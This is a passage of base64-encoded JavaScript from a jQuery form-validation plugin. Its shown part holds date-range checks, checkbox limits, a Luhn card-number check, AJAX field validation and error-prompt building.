3QgZmllbGQgbmFtZQ0KCQkqIEBwYXJhbSB7anFPYmplY3R9IHNlY29uZCBmaWVsZCBuYW1lDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX2RhdGVSYW5nZTogZnVuY3Rpb24gKGZpZWxkLCBydWxlcywgaSwgb3B0aW9ucykgew0KCQkJLy9hcmUgbm90IGJvdGggcG9wdWxhdGVkDQoJCQlpZiAoKCFvcHRpb25zLmZpcnN0T2ZHcm91cFswXS52YWx1ZSAmJiBvcHRpb25zLnNlY29uZE9mR3JvdXBbMF0udmFsdWUpIHx8IChvcHRpb25zLmZpcnN0T2ZHcm91cFswXS52YWx1ZSAmJiAhb3B0aW9ucy5zZWNvbmRPZkdyb3VwWzBdLnZhbHVlKSkgew0KCQkJCXJldHVybiBvcHRpb25zLmFsbHJ1bGVzW3J1bGVzW2ldXS5hbGVydFRleHQgKyBvcHRpb25zLmFsbHJ1bGVzW3J1bGVzW2ldXS5hbGVydFRleHQyOw0KCQkJfQ0KDQoJCQkvL2FyZSBub3QgYm90aCBkYXRlcw0KCQkJaWYgKCFtZXRob2RzLl9pc0RhdGUob3B0aW9ucy5maXJzdE9mR3JvdXBbMF0udmFsdWUpIHx8ICFtZXRob2RzLl9pc0RhdGUob3B0aW9ucy5zZWNvbmRPZkdyb3VwWzBdLnZhbHVlKSkgew0KCQkJCXJldHVybiBvcHRpb25zLmFsbHJ1bGVzW3J1bGVzW2ldXS5hbGVydFRleHQgKyBvcHRpb25zLmFsbHJ1bGVzW3J1bGVzW2ldXS5hbGVydFRleHQyOw0KCQkJfQ0KDQoJCQkvL2FyZSBib3RoIGRhdGVzIGJ1dCByYW5nZSBpcyBvZmYNCgkJCWlmICghbWV0aG9kcy5fZGF0ZUNvbXBhcmUob3B0aW9ucy5maXJzdE9mR3JvdXBbMF0udmFsdWUsIG9wdGlvbnMuc2Vjb25kT2ZHcm91cFswXS52YWx1ZSkpIHsNCgkJCQlyZXR1cm4gb3B0aW9ucy5hbGxydWxlc1tydWxlc1tpXV0uYWxlcnRUZXh0ICsgb3B0aW9ucy5hbGxydWxlc1tydWxlc1tpXV0uYWxlcnRUZXh0MjsNCgkJCX0NCgkJfSwNCgkJLyoqDQoJCSogQ2hlY2tzIGRhdGUgdGltZSByYW5nZQ0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZmlyc3QgZmllbGQgbmFtZQ0KCQkqIEBwYXJhbSB7anFPYmplY3R9IHNlY29uZCBmaWVsZCBuYW1lDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX2RhdGVUaW1lUmFuZ2U6IGZ1bmN0aW9uIChmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCgkJCS8vYXJlIG5vdCBib3RoIHBvcHVsYXRlZA0KCQkJaWYgKCghb3B0aW9ucy5maXJzdE9mR3JvdXBbMF0udmFsdWUgJiYgb3B0aW9ucy5zZWNvbmRPZkdyb3VwWzBdLnZhbHVlKSB8fCAob3B0aW9ucy5maXJzdE9mR3JvdXBbMF0udmFsdWUgJiYgIW9wdGlvbnMuc2Vjb25kT2ZHcm91cFswXS52YWx1ZSkpIHsNCgkJCQlyZXR1cm4gb3B0aW9ucy5hbGxydWxlc1tydWxlc1tpXV0uYWxlcnRUZXh0ICsgb3B0aW9ucy5hbGxydWxlc1tydWxlc1tpXV0uYWxlcnRUZXh0MjsNCgkJCX0NCgkJCS8vYXJlIG5vdCBib3RoIGRhdGVzDQoJCQlpZiAoIW1ldGhvZHMuX2lzRGF0ZVRpbWUob3B0aW9ucy5maXJzdE9mR3JvdXBbMF0udmFsdWUpIHx8ICFtZXRob2RzLl9pc0RhdGVUaW1lKG9wdGlvbnMuc2Vjb25kT2ZHcm91cFswXS52YWx1ZSkpIHsNCgkJCQlyZXR1cm4gb3B0aW9ucy5hbGxydWxlc1tydWxlc1tpXV0uYWxlcnRUZXh0ICsgb3B0aW9ucy5hbGxydWxlc1tydWxlc1tpXV0uYWxlcnRUZXh0MjsNCgkJCX0NCgkJCS8vYXJlIGJvdGggZGF0ZXMgYnV0IHJhbmdlIGlzIG9mZg0KCQkJaWYgKCFtZXRob2RzLl9kYXRlQ29tcGFyZShvcHRpb25zLmZpcnN0T2ZHcm91cFswXS52YWx1ZSwgb3B0aW9ucy5zZWNvbmRPZkdyb3VwWzBdLnZhbHVlKSkgew0KCQkJCXJldHVybiBvcHRpb25zLmFsbHJ1bGVzW3J1bGVzW2ldXS5hbGVydFRleHQgKyBvcHRpb25zLmFsbHJ1bGVzW3J1bGVzW2ldXS5hbGVydFRleHQyOw0KCQkJfQ0KCQl9LA0KCQkvKioNCgkJKiBNYXggbnVtYmVyIG9mIGNoZWNrYm94IHNlbGVjdGVkDQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fSBmaWVsZA0KCQkqIEBwYXJhbSB7QXJyYXlbU3RyaW5nXX0gcnVsZXMNCgkJKiBAcGFyYW0ge2ludH0gaSBydWxlcyBpbmRleA0KCQkqIEBwYXJhbSB7TWFwfQ0KCQkqICAgICAgICAgICAgdXNlciBvcHRpb25zDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX21heENoZWNrYm94OiBmdW5jdGlvbihmb3JtLCBmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCg0KCQkJdmFyIG5iQ2hlY2sgPSBydWxlc1tpICsgMV07DQoJCQl2YXIgZ3JvdXBuYW1lID0gZmllbGQuYXR0cigibmFtZSIpOw0KCQkJdmFyIGdyb3VwU2l6ZSA9IGZvcm0uZmluZCgiaW5wdXRbbmFtZT0nIiArIGdyb3VwbmFtZSArICInXTpjaGVja2VkIikuc2l6ZSgpOw0KCQkJaWYgKGdyb3VwU2l6ZSA+IG5iQ2hlY2spIHsNCgkJCQlvcHRpb25zLnNob3dBcnJvdyA9IGZhbHNlOw0KCQkJCWlmIChvcHRpb25zLmFsbHJ1bGVzLm1heENoZWNrYm94LmFsZXJ0VGV4dDIpDQoJCQkJCSByZXR1cm4gb3B0aW9ucy5hbGxydWxlcy5tYXhDaGVja2JveC5hbGVydFRleHQgKyAiICIgKyBuYkNoZWNrICsgIiAiICsgb3B0aW9ucy5hbGxydWxlcy5tYXhDaGVja2JveC5hbGVydFRleHQyOw0KCQkJCXJldHVybiBvcHRpb25zLmFsbHJ1bGVzLm1heENoZWNrYm94LmFsZXJ0VGV4dDsNCgkJCX0NCgkJfSwNCgkJLyoqDQoJCSogTWluIG51bWJlciBvZiBjaGVja2JveCBzZWxlY3RlZA0KCQkqDQoJCSogQHBhcmFtIHtqcU9iamVjdH0gZmllbGQNCgkJKiBAcGFyYW0ge0FycmF5W1N0cmluZ119IHJ1bGVzDQoJCSogQHBhcmFtIHtpbnR9IGkgcnVsZXMgaW5kZXgNCgkJKiBAcGFyYW0ge01hcH0NCgkJKiAgICAgICAgICAgIHVzZXIgb3B0aW9ucw0KCQkqIEByZXR1cm4gYW4gZXJyb3Igc3RyaW5nIGlmIHZhbGlkYXRpb24gZmFpbGVkDQoJCSovDQoJCV9taW5DaGVja2JveDogZnVuY3Rpb24oZm9ybSwgZmllbGQsIHJ1bGVzLCBpLCBvcHRpb25zKSB7DQoNCgkJCXZhciBuYkNoZWNrID0gcnVsZXNbaSArIDFdOw0KCQkJdmFyIGdyb3VwbmFtZSA9IGZpZWxkLmF0dHIoIm5hbWUiKTsNCgkJCXZhciBncm91cFNpemUgPSBmb3JtLmZpbmQoImlucHV0W25hbWU9JyIgKyBncm91cG5hbWUgKyAiJ106Y2hlY2tlZCIpLnNpemUoKTsNCgkJCWlmIChncm91cFNpemUgPCBuYkNoZWNrKSB7DQoJCQkJb3B0aW9ucy5zaG93QXJyb3cgPSBmYWxzZTsNCgkJCQlyZXR1cm4gb3B0aW9ucy5hbGxydWxlcy5taW5DaGVja2JveC5hbGVydFRleHQgKyAiICIgKyBuYkNoZWNrICsgIiAiICsgb3B0aW9ucy5hbGxydWxlcy5taW5DaGVja2JveC5hbGVydFRleHQyOw0KCQkJfQ0KCQl9LA0KCQkvKioNCgkJKiBDaGVja3MgdGhhdCBpdCBpcyBhIHZhbGlkIGNyZWRpdCBjYXJkIG51bWJlciBhY2NvcmRpbmcgdG8gdGhlDQoJCSogTHVobiBjaGVja3N1bSBhbGdvcml0aG0uDQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fSBmaWVsZA0KCQkqIEBwYXJhbSB7QXJyYXlbU3RyaW5nXX0gcnVsZXMNCgkJKiBAcGFyYW0ge2ludH0gaSBydWxlcyBpbmRleA0KCQkqIEBwYXJhbSB7TWFwfQ0KCQkqICAgICAgICAgICAgdXNlciBvcHRpb25zDQoJCSogQHJldHVybiBhbiBlcnJvciBzdHJpbmcgaWYgdmFsaWRhdGlvbiBmYWlsZWQNCgkJKi8NCgkJX25hbWVPbklkOiBmdW5jdGlvbihmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCgkJCS8vc3BhY2VzIGFuZCBkYXNoZXMgbWF5IGJlIHZhbGlkIGNoYXJhY3RlcnMsIGJ1dCBtdXN0IGJlIHN0cmlwcGVkIHRvIGNhbGN1bGF0ZSB0aGUgY2hlY2tzdW0uDQoJCQl2YXIgdmFsaWQgPSBmYWxzZSwgY2FyZE51bWJlciA9IGZpZWxkLnZhbCgpLnJlcGxhY2UoLyArL2csICcnKS5yZXBsYWNlKC8tKy9nLCAnJyk7DQoNCgkJCXZhciBudW1EaWdpdHMgPSBjYXJkTnVtYmVyLmxlbmd0aDsNCgkJCWlmIChudW1EaWdpdHMgPj0gMTQgJiYgbnVtRGlnaXRzIDw9IDE2ICYmIHBhcnNlSW50KGNhcmROdW1iZXIpID4gMCkgew0KDQoJCQkJdmFyIHN1bSA9IDAsIGkgPSBudW1EaWdpdHMgLSAxLCBwb3MgPSAxLCBkaWdpdCwgbHVobiA9IG5ldyBTdHJpbmcoKTsNCgkJCQlkbyB7DQoJCQkJCWRpZ2l0ID0gcGFyc2VJbnQoY2FyZE51bWJlci5jaGFyQXQoaSkpOw0KCQkJCQlsdWhuICs9IChwb3MrKyAlIDIgPT0gMCkgPyBkaWdpdCAqIDIgOiBkaWdpdDsNCgkJCQl9IHdoaWxlICgtLWkgPj0gMCkNCg0KCQkJCWZvciAoaSA9IDA7IGkgPCBsdWhuLmxlbmd0aDsgaSsrKSB7DQoJCQkJCXN1bSArPSBwYXJzZUludChsdWhuLmNoYXJBdChpKSk7DQoJCQkJfQ0KCQkJCXZhbGlkID0gc3VtICUgMTAgPT0gMDsNCgkJCX0NCgkJCWlmICghdmFsaWQpIHJldHVybiBvcHRpb25zLmFsbHJ1bGVzLm5hbWVPbklkLmFsZXJ0VGV4dDsNCgkJfSwNCgkJLyoqDQoJCSogQWpheCBmaWVsZCB2YWxpZGF0aW9uDQoJCSoNCgkJKiBAcGFyYW0ge2pxT2JqZWN0fSBmaWVsZA0KCQkqIEBwYXJhbSB7QXJyYXlbU3RyaW5nXX0gcnVsZXMNCgkJKiBAcGFyYW0ge2ludH0gaSBydWxlcyBpbmRleA0KCQkqIEBwYXJhbSB7TWFwfQ0KCQkqICAgICAgICAgICAgdXNlciBvcHRpb25zDQoJCSogQHJldHVybiBub3RoaW5nISB0aGUgYWpheCB2YWxpZGF0b3IgaGFuZGxlcyB0aGUgcHJvbXB0cyBpdHNlbGYNCgkJKi8NCgkJIF9hamF4OiBmdW5jdGlvbihmaWVsZCwgcnVsZXMsIGksIG9wdGlvbnMpIHsNCg0KCQkJIHZhciBlcnJvclNlbGVjdG9yID0gcnVsZXNbaSArIDFdOw0KCQkJIHZhciBydWxlID0gb3B0aW9ucy5hbGxydWxlc1tlcnJvclNlbGVjdG9yXTsNCgkJCSB2YXIgZXh0cmFEYXRhID0gcnVsZS5leHRyYURhdGE7DQoJCQkgdmFyIGV4dHJhRGF0YUR5bmFtaWMgPSBydWxlLmV4dHJhRGF0YUR5bmFtaWM7DQoJCQkgdmFyIGRhdGEgPSB7DQoJCQkJImZpZWxkSWQiIDogZmllbGQuYXR0cigiaWQiKSwNCgkJCQkiZmllbGRWYWx1ZSIgOiBmaWVsZC52YWwoKQ0KCQkJIH07DQoNCgkJCSBpZiAodHlwZW9mIGV4dHJhRGF0YSA9PT0gIm9iamVjdCIpIHsNCgkJCQkkLmV4dGVuZChkYXRhLCBleHRyYURhdGEpOw0KCQkJIH0gZWxzZSBpZiAodHlwZW9mIGV4dHJhRGF0YSA9PT0gInN0cmluZyIpIHsNCgkJCQl2YXIgdGVtcERhdGEgPSBleHRyYURhdGEuc3BsaXQoIiYiKTsNCgkJCQlmb3IodmFyIGkgPSAwOyBpIDwgdGVtcERhdGEubGVuZ3RoOyBpKyspIHsNCgkJCQkJdmFyIHZhbHVlcyA9IHRlbXBEYXRhW2ldLnNwbGl0KCI9Iik7DQoJCQkJCWlmICh2YWx1ZXNbMF0gJiYgdmFsdWVzWzBdKSB7DQoJCQkJCQlkYXRhW3ZhbHVlc1swXV0gPSB2YWx1ZXNbMV07DQoJCQkJCX0NCgkJCQl9DQoJCQkgfQ0KDQoJCQkgaWYgKGV4dHJhRGF0YUR5bmFtaWMpIHsNCgkJCQkgdmFyIHRtcERhdGEgPSBbXTsNCgkJCQkgdmFyIGRvbUlkcyA9IFN0cmluZyhleHRyYURhdGFEeW5hbWljKS5zcGxpdCgiLCIpOw0KCQkJCSBmb3IgKHZhciBpID0gMDsgaSA8IGRvbUlkcy5sZW5ndGg7IGkrKykgew0KCQkJCQkgdmFyIGlkID0gZG9tSWRzW2ldOw0KCQkJCQkgaWYgKCQoaWQpLmxlbmd0aCkgew0KCQkJCQkJIHZhciBpbnB1dFZhbHVlID0gZmllbGQuY2xvc2VzdCgiZm9ybSwgLnZhbGlkYXRpb25FbmdpbmVDb250YWluZXIiKS5maW5kKGlkKS52YWwoKTsNCgkJCQkJCSB2YXIga2V5VmFsdWUgPSBpZC5yZXBsYWNlKCcjJywgJycpICsgJz0nICsgZXNjYXBlKGlucHV0VmFsdWUpOw0KCQkJCQkJIGRhdGFbaWQucmVwbGFjZSgnIycsICcnKV0gPSBpbnB1dFZhbHVlOw0KCQkJCQkgfQ0KCQkJCSB9DQoJCQkgfQ0KCQkJIA0KCQkJIC8vIElmIGEgZmllbGQgY2hhbmdlIGV2ZW50IHRyaWdnZXJlZCB0aGlzIHdlIHdhbnQgdG8gY2xlYXIgdGhlIGNhY2hlIGZvciB0aGlzIElEDQoJCQkgaWYgKG9wdGlvbnMuZXZlbnRUcmlnZ2VyID09ICJmaWVsZCIpIHsNCgkJCQlkZWxldGUob3B0aW9ucy5hamF4VmFsaWRDYWNoZVtmaWVsZC5hdHRyKCJpZCIpXSk7DQoJCQkgfQ0KDQoJCQkgLy8gSWYgdGhlcmUgaXMgYW4gZXJyb3Igb3IgaWYgdGhlIHRoZSBmaWVsZCBpcyBhbHJlYWR5IHZhbGlkYXRlZCwgZG8gbm90IHJlLWV4ZWN1dGUgQUpBWA0KCQkJIGlmICghb3B0aW9ucy5pc0Vycm9yICYmICFtZXRob2RzLl9jaGVja0FqYXhGaWVsZFN0YXR1cyhmaWVsZC5hdHRyKCJpZCIpLCBvcHRpb25zKSkgew0KCQkJCSAkLmFqYXgoew0KCQkJCQkgdHlwZTogb3B0aW9ucy5hamF4Rm9ybVZhbGlkYXRpb25NZXRob2QsDQoJCQkJCSB1cmw6IHJ1bGUudXJsLA0KCQkJCQkgY2FjaGU6IGZhbHNlLA0KCQkJCQkgZGF0YVR5cGU6ICJqc29uIiwNCgkJCQkJIGRhdGE6IGRhdGEsDQoJCQkJCSBmaWVsZDogZmllbGQsDQoJCQkJCSBydWxlOiBydWxlLA0KCQkJCQkgbWV0aG9kczogbWV0aG9kcywNCgkJCQkJIG9wdGlvbnM6IG9wdGlvbnMsDQoJCQkJCSBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHt9LA0KCQkJCQkgZXJyb3I6IGZ1bmN0aW9uKGRhdGEsIHRyYW5zcG9ydCkgew0KCQkJCQkJIG1ldGhvZHMuX2FqYXhFcnJvcihkYXRhLCB0cmFuc3BvcnQpOw0KCQkJCQkgfSwNCgkJCQkJIHN1Y2Nlc3M6IGZ1bmN0aW9uKGpzb24pIHsNCg0KCQkJCQkJIC8vIGFzeW5jaHJvbm91c2x5IGNhbGxlZCBvbiBzdWNjZXNzLCBkYXRhIGlzIHRoZSBqc29uIGFuc3dlciBmcm9tIHRoZSBzZXJ2ZXINCgkJCQkJCSB2YXIgZXJyb3JGaWVsZElkID0ganNvblswXTsNCgkJCQkJCSAvL3ZhciBlcnJvckZpZWxkID0gJCgkKCIjIiArIGVycm9yRmllbGRJZClbMF0pOw0KCQkJCQkJIHZhciBlcnJvckZpZWxkID0gJCgiIyIrIGVycm9yRmllbGRJZCkuZXEoMCk7DQoNCgkJCQkJCSAvLyBtYWtlIHN1cmUgd2UgZm91bmQgdGhlIGVsZW1lbnQNCgkJCQkJCSBpZiAoZXJyb3JGaWVsZC5sZW5ndGggPT0gMSkgew0KCQkJCQkJCSB2YXIgc3RhdHVzID0ganNvblsxXTsNCgkJCQkJCQkgLy8gcmVhZCB0aGUgb3B0aW9uYWwgbXNnIGZyb20gdGhlIHNlcnZlcg0KCQkJCQkJCSB2YXIgbXNnID0ganNvblsyXTsNCgkJCQkJCQkgaWYgKCFzdGF0dXMpIHsNCgkJCQkJCQkJIC8vIEhvdXN0b24gd2UgZ290IGEgcHJvYmxlbSAtIGRpc3BsYXkgYW4gcmVkIHByb21wdA0KCQkJCQkJCQkgb3B0aW9ucy5hamF4VmFsaWRDYWNoZVtlcnJvckZpZWxkSWRdID0gZmFsc2U7DQoJCQkJCQkJCSBvcHRpb25zLmlzRXJyb3IgPSB0cnVlOw0KDQoJCQkJCQkJCSAvLyByZXNvbHZlIHRoZSBtc2cgcHJvbXB0DQoJCQkJCQkJCSBpZihtc2cpIHsNCgkJCQkJCQkJCSBpZiAob3B0aW9ucy5hbGxydWxlc1ttc2ddKSB7DQoJCQkJCQkJCQkJIHZhciB0eHQgPSBvcHRpb25zLmFsbHJ1bGVzW21zZ10uYWxlcnRUZXh0Ow0KCQkJCQkJCQkJCSBpZiAodHh0KSB7DQoJCQkJCQkJCQkJCW1zZyA9IHR4dDsNCgkJCQkJCQl9DQoJCQkJCQkJCQkgfQ0KCQkJCQkJCQkgfQ0KCQkJCQkJCQkgZWxzZQ0KCQkJCQkJCQkJbXNnID0gcnVsZS5hbGVydFRleHQ7DQoNCgkJCQkJCQkJIGlmIChvcHRpb25zLnNob3dQcm9tcHRzKSBtZXRob2RzLl9zaG93UHJvbXB0KGVycm9yRmllbGQsIG1zZywgIiIsIHRydWUsIG9wdGlvbnMpOw0KCQkJCQkJCSB9IGVsc2Ugew0KCQkJCQkJCQkgb3B0aW9ucy5hamF4VmFsaWRDYWNoZVtlcnJvckZpZWxkSWRdID0gdHJ1ZTsNCg0KCQkJCQkJCQkgLy8gcmVzb2x2ZXMgdGhlIG1zZyBwcm9tcHQNCgkJCQkJCQkJIGlmKG1zZykgew0KCQkJCQkJCQkJIGlmIChvcHRpb25zLmFsbHJ1bGVzW21zZ10pIHsNCgkJCQkJCQkJCQkgdmFyIHR4dCA9IG9wdGlvbnMuYWxscnVsZXNbbXNnXS5hbGVydFRleHRPazsNCgkJCQkJCQkJCQkgaWYgKHR4dCkgew0KCQkJCQkJCQkJCQltc2cgPSB0eHQ7DQoJCQkJCQkJfQ0KCQkJCQkJCQkJIH0NCgkJCQkJCQkJIH0NCgkJCQkJCQkJIGVsc2UNCgkJCQkJCQkJIG1zZyA9IHJ1bGUuYWxlcnRUZXh0T2s7DQoNCgkJCQkJCQkJIGlmIChvcHRpb25zLnNob3dQcm9tcHRzKSB7DQoJCQkJCQkJCQkgLy8gc2VlIGlmIHdlIHNob3VsZCBkaXNwbGF5IGEgZ3JlZW4gcHJvbXB0DQoJCQkJCQkJCQkgaWYgKG1zZykNCgkJCQkJCQkJCQltZXRob2RzLl9zaG93UHJvbXB0KGVycm9yRmllbGQsIG1zZywgInBhc3MiLCB0cnVlLCBvcHRpb25zKTsNCgkJCQkJCQkJCSBlbHNlDQoJCQkJCQkJCQkJbWV0aG9kcy5fY2xvc2VQcm9tcHQoZXJyb3JGaWVsZCk7DQoJCQkJCQkJCX0NCgkJCQkJCQkJDQoJCQkJCQkJCSAvLyBJZiBhIHN1Ym1pdCBmb3JtIHRyaWdnZXJlZCB0aGlzLCB3ZSB3YW50IHRvIHJlLXN1Ym1pdCB0aGUgZm9ybQ0KCQkJCQkJCQkgaWYgKG9wdGlvbnMuZXZlbnRUcmlnZ2VyID09ICJzdWJtaXQiKQ0KCQkJCQkJCQkJZmllbGQuY2xvc2VzdCgiZm9ybSIpLnN1Ym1pdCgpOw0KCQkJCQkJCSB9DQoJCQkJCQkgfQ0KCQkJCQkJIGVycm9yRmllbGQudHJpZ2dlcigianF2LmZpZWxkLnJlc3VsdCIsIFtlcnJvckZpZWxkLCBvcHRpb25zLmlzRXJyb3IsIG1zZ10pOw0KCQkJCQkgfQ0KCQkJCSB9KTsNCgkJCQkgDQoJCQkJIHJldHVybiBydWxlLmFsZXJ0VGV4dExvYWQ7DQoJCQkgfQ0KCQkgfSwNCgkJLyoqDQoJCSogQ29tbW9uIG1ldGhvZCB0byBoYW5kbGUgYWpheCBlcnJvcnMNCgkJKg0KCQkqIEBwYXJhbSB7T2JqZWN0fSBkYXRhDQoJCSogQHBhcmFtIHtPYmplY3R9IHRyYW5zcG9ydA0KCQkqLw0KCQlfYWpheEVycm9yOiBmdW5jdGlvbihkYXRhLCB0cmFuc3BvcnQpIHsNCgkJCWlmKGRhdGEuc3RhdHVzID09IDAgJiYgdHJhbnNwb3J0ID09IG51bGwpDQoJCQkJYWxlcnQoIlRoZSBwYWdlIGlzIG5vdCBzZXJ2ZWQgZnJvbSBhIHNlcnZlciEgYWpheCBjYWxsIGZhaWxlZCIpOw0KCQkJZWxzZSBpZih0eXBlb2YgY29uc29sZSAhPSAidW5kZWZpbmVkIikNCgkJCQljb25zb2xlLmxvZygiQWpheCBlcnJvcjogIiArIGRhdGEuc3RhdHVzICsgIiAiICsgdHJhbnNwb3J0KTsNCgkJfSwNCgkJLyoqDQoJCSogZGF0ZSAtPiBzdHJpbmcNCgkJKg0KCQkqIEBwYXJhbSB7T2JqZWN0fSBkYXRlDQoJCSovDQoJCV9kYXRlVG9TdHJpbmc6IGZ1bmN0aW9uKGRhdGUpIHsNCgkJCXJldHVybiBkYXRlLmdldEZ1bGxZZWFyKCkrIi0iKyhkYXRlLmdldE1vbnRoKCkrMSkrIi0iK2RhdGUuZ2V0RGF0ZSgpOw0KCQl9LA0KCQkvKioNCgkJKiBQYXJzZXMgYW4gSVNPIGRhdGUNCgkJKiBAcGFyYW0ge1N0cmluZ30gZA0KCQkqLw0KCQlfcGFyc2VEYXRlOiBmdW5jdGlvbihkKSB7DQoNCgkJCXZhciBkYXRlUGFydHMgPSBkLnNwbGl0KCItIik7DQoJCQlpZihkYXRlUGFydHM9PWQpDQoJCQkJZGF0ZVBhcnRzID0gZC5zcGxpdCgiLyIpOw0KCQkJaWYoZGF0ZVBhcnRzPT1kKSB7DQoJCQkJZGF0ZVBhcnRzID0gZC5zcGxpdCgiLiIpOw0KCQkJCXJldHVybiBuZXcgRGF0ZShkYXRlUGFydHNbMl0sIChkYXRlUGFydHNbMV0gLSAxKSwgZGF0ZVBhcnRzWzBdKTsNCgkJCX0NCgkJCXJldHVybiBuZXcgRGF0ZShkYXRlUGFydHNbMF0sIChkYXRlUGFydHNbMV0gLSAxKSAsZGF0ZVBhcnRzWzJdKTsNCgkJfSwNCgkJLyoqDQoJCSogQnVpbGRzIG9yIHVwZGF0ZXMgYSBwcm9tcHQgd2l0aCB0aGUgZ2l2ZW4gaW5mb3JtYXRpb24NCgkJKg0KCQkqIEBwYXJhbSB7anFPYmplY3R9IGZpZWxkDQoJCSogQHBhcmFtIHtTdHJpbmd9IHByb21wdFRleHQgaHRtbCB0ZXh0IHRvIGRpc3BsYXkgdHlwZQ0KCQkqIEBwYXJhbSB7U3RyaW5nfSB0eXBlIHRoZSB0eXBlIG9mIGJ1YmJsZTogJ3Bhc3MnIChncmVlbiksICdsb2FkJyAoYmxhY2spIGFueXRoaW5nIGVsc2UgKHJlZCkNCgkJKiBAcGFyYW0ge2Jvb2xlYW59IGFqYXhlZCAtIHVzZSB0byBtYXJrIGZpZWxkcyB0aGFuIGJlaW5nIHZhbGlkYXRlZCB3aXRoIGFqYXgNCgkJKiBAcGFyYW0ge01hcH0gb3B0aW9ucyB1c2VyIG9wdGlvbnMNCgkJKi8NCgkJIF9zaG93UHJvbXB0OiBmdW5jdGlvbihmaWVsZCwgcHJvbXB0VGV4dCwgdHlwZSwgYWpheGVkLCBvcHRpb25zLCBhamF4Zm9ybSkgew0KCQkgCS8vQ2hlY2sgaWYgd2UgbmVlZCB0byBhZGp1c3Qgd2hhdCBlbGVtZW50IHRvIHNob3cgdGhlIHByb21wdCBvbg0KCQkJaWYoZmllbGQuZGF0YSgnanF2LXByb21wdC1hdCcpIGluc3RhbmNlb2YgalF1ZXJ5ICl7DQoJCQkJZmllbGQgPSBmaWVsZC5kYXRhKCdqcXYtcHJvbXB0LWF0Jyk7DQoJCQl9IGVsc2UgaWYoZmllbGQuZGF0YSgnanF2LXByb21wdC1hdCcpKSB7DQoJCQkJZmllbGQgPSAkKGZpZWxkLmRhdGEoJ2pxdi1wcm9tcHQtYXQnKSk7DQoJCQl9DQoNCgkJCSB2YXIgcHJvbXB0ID0gbWV0aG9kcy5fZ2V0UHJvbXB0KGZpZWxkKTsNCgkJCSAvLyBUaGUgYWpheCBzdWJtaXQgZXJyb3JzIGFyZSBub3Qgc2VlIGhhcyBhbiBlcnJvciBpbiB0aGUgZm9ybSwNCgkJCSAvLyBXaGVuIHRoZSBmb3JtIGVycm9ycyBhcmUgcmV0dXJuZWQsIHRoZSBlbmdpbmUgc2VlIDIgYnViYmxlcywgYnV0IHRob3NlIGFyZSBlYmluZyBjbG9zZWQgYnkgdGhlIGVuZ2luZSBhdCB0aGUgc2FtZSB0aW1lDQoJCQkgLy8gQmVjYXVzZSBubyBlcnJvciB3YXMgZm91bmQgYmVmb3Igc3VibWl0dGluZw0KCQkJIGlmKGFqYXhmb3JtKSBwcm9tcHQgPSBmYWxzZTsNCgkJCSAvLyBDaGVjayB0aGF0IHRoZXJlIGlzIGluZGRlZCB0ZXh0DQoJCQkgaWYoJC50cmltKHByb21wdFRleHQpKXsgDQoJCQkJIGlmIChwcm9tcHQpDQoJCQkJCW1ldGhvZHMuX3VwZGF0ZVByb21wdChmaWVsZCwgcHJvbXB0LCBwcm9tcHRUZXh0LCB0eXBlLCBhamF4ZWQsIG9wdGlvbnMpOw0KCQkJCSBlbHNlDQoJCQkJCW1ldGhvZHMuX2J1aWxkUHJvbXB0KGZpZWxkLCBwcm9tcHRUZXh0LCB0eXBlLCBhamF4ZWQsIG9wdGlvbnMpOw0KCQkJfQ0KCQkgfSwNCgkJLyoqDQoJCSogQnVpbGRzIGFuZCBzaGFkZXMgYSBwcm9tcHQgZm9yIHRoZSBnaXZlbiBmaWVsZC4NCgkJKg0KCQkqIEBwYXJhbSB7anFPYmplY3R9IGZpZWxkDQoJCSogQHBhcmFtIHtTdHJpbmd9IHByb21wdFRleHQgaHRtbCB0ZXh0IHRvIGRpc3BsYXkgdHlwZQ0KCQkqIEBwYXJhbSB7U3RyaW5nfSB0eXBlIHRoZSB0eXBlIG9mIGJ1YmJsZTogJ3Bhc3MnIChncmVlbiksICdsb2FkJyAoYmxhY2spIGFueXRoaW5nIGVsc2UgKHJlZCkNCgkJKiBAcGFyYW0ge2Jvb2xlYW59IGFqYXhlZCAtIHVzZSB0byBtYXJrIGZpZWxkcyB0aGFuIGJlaW5nIHZhbGlkYXRlZCB3aXRoIGFqYXgNCgkJKiBAcGFyYW0ge01hcH0gb3B0aW9ucyB1c2VyIG9wdGlvbnMNCgkJKi8NCgkJX2J1aWxkUHJvbXB0OiBmdW5jdGlvbihmaWVsZCwgcHJvbXB0VGV4dCwgdHlwZSwgYWpheGVkLCBvcHRpb25zKSB7DQoNCgkJCS8vIGNyZWF0ZSB0aGUgcHJvbXB0DQoJCQl2YXIgcHJvbXB0ID0gJCgnPGRpdj4nKTsNCgkJCXByb21wdC5hZGRDbGFzcyhtZXRob2RzLl9nZXRDbGFzc05hbWUoZmllbGQuYXR0cigiaWQiKSkgKyAiZm9ybUVycm9yIik7DQoJCQkvLyBhZGQgYSBjbGFzcyBuYW1lIHRvIGlkZW50aWZ5IHRoZSBwYXJlbnQgZm9ybSBvZiB0aGUgcHJvbXB0DQoJCQlwcm9tcHQuYWRkQ2xhc3MoInBhcmVudEZvcm0iK21ldGhvZHMuX2dldENsYXNzTmFtZShmaWVsZC5jbG9zZXN0KCdmb3JtLCAudmFsaWRhdGlvbkVuZ2luZUNvbnRhaW5lcicpLmF0dHIoImlkIikpKTsNCgkJCXByb21wdC5hZGRDbGFzcygiZm9ybUVycm9yIik7DQoNCgkJCXN3aXRjaCAodHlwZSkgew0KCQkJCWNhc2UgInBhc3MiOg0KCQkJCQlwcm9tcHQuYWRkQ2xhc3MoImdyZWVuUG9wdXAiKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAibG9hZCI6DQoJCQkJCXByb21wdC5hZGRDbGFzcygiYmxhY2tQb3B1cCIpOw0KCQ